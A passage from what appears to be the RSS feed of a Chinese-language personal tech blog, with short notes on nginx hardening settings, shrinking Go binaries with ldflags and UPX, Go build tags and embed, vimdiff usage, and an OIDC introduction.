&lt;/li>
&lt;li>
&lt;p>&lt;code>ssl_protocols TLSv1.2 TLSv1.3;&lt;/code>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>停用不需要的 HTTP 方法&lt;/p>
&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">location&lt;/span> &lt;span style="color:#e6db74">/&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">limit_except&lt;/span> &lt;span style="color:#e6db74">GET&lt;/span> &lt;span style="color:#e6db74">HEAD&lt;/span> &lt;span style="color:#e6db74">POST&lt;/span> { &lt;span style="color:#f92672">deny&lt;/span> &lt;span style="color:#e6db74">all&lt;/span>; }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>啟用基於 sysctl 的保護&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>net.ipv4.conf.all.rp_filter &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>net.ipv4.tcp_syncookies &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>防止圖片外連&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">location&lt;/span> &lt;span style="color:#e6db74">/images/&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">valid_referers&lt;/span> &lt;span style="color:#e6db74">none&lt;/span> &lt;span style="color:#e6db74">blocked&lt;/span> &lt;span style="color:#e6db74">www.domain.com&lt;/span> &lt;span style="color:#e6db74">domain.com&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">if&lt;/span> &lt;span style="color:#e6db74">(&lt;/span>$invalid_referer&lt;span style="color:#e6db74">)&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">return&lt;/span> &lt;span style="color:#ae81ff">403&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>&lt;code>add_header X-Content-Type-Options nosniff;&lt;/code>&lt;/li>
&lt;li>&lt;code>add_header X-XSS-Protection &amp;quot;1; mode=block&amp;quot;;&lt;/code>&lt;/li>
&lt;li>&lt;code>add_header Strict-Transport-Security &amp;quot;max-age=31536000; includeSubDomains; preload&amp;quot; always;&lt;/code>&lt;/li>
&lt;li>&lt;/li>
&lt;/ul></description></item><item><title>為你的Go應用建立輕量級Docker映象？ | IT人</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220725-build-lightweight-docker-image-for-go-app/</link><pubDate>Mon, 25 Jul 2022 17:33:47 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220725-build-lightweight-docker-image-for-go-app/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://iter01.com/605065.html" target="_blank" rel="noopener">為你的 Go 應用建立輕量級 Docker 映象？ | IT 人&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="go-build">go build&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># default&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ go build -o test1 main.go
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ du -sh test1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>14M test1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 在程式編譯的時候可以加上 `-ldflags &amp;#34;-s -w&amp;#34;` 引數來優化編譯，原理是通過去除部分連結和除錯等資訊來減小編譯生成的可執行程式體積，具體引數如下：&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># -a：強制編譯所有依賴包&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># -s：去掉符號表資訊，不過 panic 的時候 stack trace 就沒有任何檔名/行號資訊了&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># -w：去掉 DWARF 除錯資訊，不過得到的程式就不能使用 gdb 進行除錯了&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 若對符號表無需求，-ldflags 直接新增 &amp;#34;-s&amp;#34; 即可&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 注：不建議-w和-s同時使用&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ go build -ldflags &lt;span style="color:#e6db74">&amp;#34;-s -w&amp;#34;&lt;/span> -o test2 main.go
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ du -sh test2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>11M test2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="upxbrewyum-install-upx">upx(&lt;code>brew/yum install upx&lt;/code>)&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ upx test2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Ultimate Packer &lt;span style="color:#66d9ef">for&lt;/span> eXecutables
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Copyright &lt;span style="color:#f92672">(&lt;/span>C&lt;span style="color:#f92672">)&lt;/span> &lt;span style="color:#ae81ff">1996&lt;/span> - &lt;span style="color:#ae81ff">2020&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>UPX 3.96 Markus Oberhumer, Laszlo Molnar &amp;amp; John Reiser Jan 23rd &lt;span style="color:#ae81ff">2020&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File size Ratio Format Name
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> -------------------- ------ ----------- -----------
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ae81ff">11490768&lt;/span> -&amp;gt; &lt;span style="color:#ae81ff">4063248&lt;/span> 35.36% macho/amd64 test2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Packed &lt;span style="color:#ae81ff">1&lt;/span> file.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ upx --brute test2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ du -sh test2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>4.6M test2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>upx 的壓縮選項&lt;/p></description></item><item><title>[Golang] 利用build tags達到不同的build config</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220718-go-build-config-ldflags/</link><pubDate>Mon, 18 Jul 2022 14:21:34 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220718-go-build-config-ldflags/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.evanlin.com/go-build-config-ldflags/" target="_blank" rel="noopener">[Golang] 利用 build tags 達到不同的 build config&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="go-build--ldflags">Go build -ldflags&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">flagString&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;This build with ldflag:&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">flagString&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ go build -ldflags &lt;span style="color:#e6db74">&amp;#39;-X main.flagString &amp;#34;test&amp;#34;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>This build with ldflag: test
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="go-build--tags">Go build -tags&lt;/h5>
&lt;h6 id="debug_configgo">debug_config.go&lt;/h6>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//+build debug&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">TestString&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span> = &lt;span style="color:#e6db74">&amp;#34;test debug&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">TestString2&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span> = &lt;span style="color:#e6db74">&amp;#34; and it will run every module with debug tag.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">GetConfigString&lt;/span>() &lt;span style="color:#66d9ef">string&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#e6db74">&amp;#34;it is debug.....&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
&lt;div class="alert warning">
&lt;span>&lt;i data-feather="alert-triangle">&lt;/i>&lt;/span>
&lt;span>&lt;strong>&lt;code>//+build debug&lt;/code> 前後需要一個空行(除非你在第一行)&lt;/strong>&lt;/span>
&lt;/div>
&lt;h6 id="release_configgo">release_config.go&lt;/h6>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//+build !debug&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">TestString&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span> = &lt;span style="color:#e6db74">&amp;#34;test release&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">TestString2&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span> = &lt;span style="color:#e6db74">&amp;#34; and it will run every module as no debug tag.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">GetConfigString&lt;/span>() &lt;span style="color:#66d9ef">string&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#e6db74">&amp;#34;it is release.....&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h6 id="main">main&lt;/h6>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;This build is &amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">TestString&lt;/span>, &lt;span style="color:#a6e22e">TestString2&lt;/span>, &lt;span style="color:#a6e22e">GetConfigString&lt;/span>())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ go build -tags debug .
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>This build is test debug and it will run every module with debug tag. it is debug.....
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ go build .
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>This build is test release and it will run every module as no debug tag. it is release.....
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Go embed 简明教程</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220712-go-embed-tutorial/</link><pubDate>Tue, 12 Jul 2022 13:57:03 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220712-go-embed-tutorial/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://colobu.com/2021/01/17/go-embed-tutorial/" target="_blank" rel="noopener">Go embed 简明教程&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="嵌入">嵌入&lt;/h3>
&lt;ul>
&lt;li>对于单个的文件，支持嵌入为&lt;code>string&lt;/code>和 &lt;code>[]byre&lt;/code>&lt;/li>
&lt;li>对于多个文件和文件夹，支持嵌入为新的文件系统 FS&lt;/li>
&lt;li>比如导入 &amp;ldquo;embed&amp;rdquo; 包，即使无显式的使用&lt;/li>
&lt;li>&lt;code>go:embed&lt;/code> 指令用来嵌入，必须紧跟着嵌入后的变量名&lt;/li>
&lt;li>只支持嵌入为 &lt;code>string&lt;/code>, &lt;code>[]byte&lt;/code> 和 &lt;code>embed.FS&lt;/code> 三种类型，这三种类型的别名(alias)和命名类型(如 type S string)都不可以&lt;/li>
&lt;li>使用的是相对路径&lt;/li>
&lt;/ul>
&lt;h4 id="stringbyte">string/[]byte&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#e6db74">&amp;#34;embed&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//go:embed hello.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//go:embed hello.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">b&lt;/span> []&lt;span style="color:#66d9ef">byte&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#a6e22e">s&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#a6e22e">b&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="embedfs">embed.FS&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;embed&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//go:embed hello.txt hello2.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//go:embed &amp;#34;p/he llo.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//go:embed `p/hello-2.txt`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//go:embed dir&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span> &lt;span style="color:#a6e22e">embed&lt;/span>.&lt;span style="color:#a6e22e">FS&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">ReadFile&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;hello.txt&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(string(&lt;span style="color:#a6e22e">data&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> = &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">ReadFile&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;hello2.txt&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(string(&lt;span style="color:#a6e22e">data&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">ReadFile&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;p/he llo.txt&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(string(&lt;span style="color:#a6e22e">data&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> = &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">ReadFile&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;p/hello-2.txt&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(string(&lt;span style="color:#a6e22e">data&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="匹配模式">匹配模式&lt;/h5>
&lt;p>go:embed 指令中可以只写文件夹名，此文件夹中除了.和_开头的文件和文件夹都会被嵌入，并且子文件夹也会被递归的嵌入，形成一个此文件夹的文件系统。&lt;/p></description></item><item><title>使用 Vim 當作差異比對工具</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220707-vim-diff-tool/</link><pubDate>Thu, 07 Jul 2022 17:36:22 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220707-vim-diff-tool/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/vim-diff-tool" target="_blank" rel="noopener">使用 Vim 當作差異比對工具&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="指令">指令&lt;/h4>
&lt;p>&lt;code>vim -d file1.txt file2.txt&lt;/code>
或
&lt;code>vimdiff file1.txt file2.txt&lt;/code>&lt;/p>
&lt;ul>
&lt;li>在差異視窗間切換: &lt;code>Ctrl-w + Ctrl-w&lt;/code>&lt;/li>
&lt;li>切換分割視窗方向
&lt;ul>
&lt;li>&lt;code>ctrl-w + K&lt;/code> 將視窗方向由垂直切換為水平。&lt;/li>
&lt;li>&lt;code>ctrl-w + H&lt;/code> 將視窗方向切回垂直分割。&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>在變更之間跳轉
&lt;ul>
&lt;li>&lt;code>]c&lt;/code> 前往下一個變更。&lt;/li>
&lt;li>&lt;code>[c&lt;/code> 跳回上一個變更。&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>從差異視窗套用變更: &lt;code>:diffget&lt;/code>, &lt;code>:diffput&lt;/code>&lt;/li>
&lt;li>匯出差異為 HTML: &lt;code>:TOhtml | w ~/diff.html&lt;/code>&lt;/li>
&lt;/ul></description></item><item><title>OIDC(OpenID Connect) 简介</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220706-openid-connect/</link><pubDate>Wed, 06 Jul 2022 08:47:49 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220706-openid-connect/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://jiajunhuang.com/articles/2022_07_06-openid_connect.md.html" target="_blank" rel="noopener">OIDC(OpenID Connect) 简介&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="authentication-vs-authorization">Authentication vs. authorization&lt;/h3>
&lt;blockquote>
&lt;p>Authentication 通常是指校验是否是用户本人的这个过程，而 Authorization 则更多的是指用户是否有权限。通常我们都是先校验 是否是用户本人，然后再校验用户是否有权限。也就是先开始 Authentication，再开始 Authorization。&lt;/p>&lt;/blockquote>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Authentication&lt;/th>
&lt;th>Authorization&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Determines whether users are who they claim to be&lt;/td>
&lt;td>Determines what users can and cannot access&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Challenges the user to validate credentials (for example, through passwords, answers to security questions, or facial recognition)&lt;/td>
&lt;td>Verifies whether access is allowed through policies and rules&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Usually done before authorization&lt;/td>
&lt;td>Usually done after successful authentication&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Generally, transmits info through an ID Token&lt;/td>
&lt;td>Generally, transmits info through an Access Token&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Generally governed by the OpenID Connect (OIDC) protocol&lt;/td>
&lt;td>Generally governed by the OAuth 2.0 framework&lt;/td>
&lt;/tr>
&lt;tr>
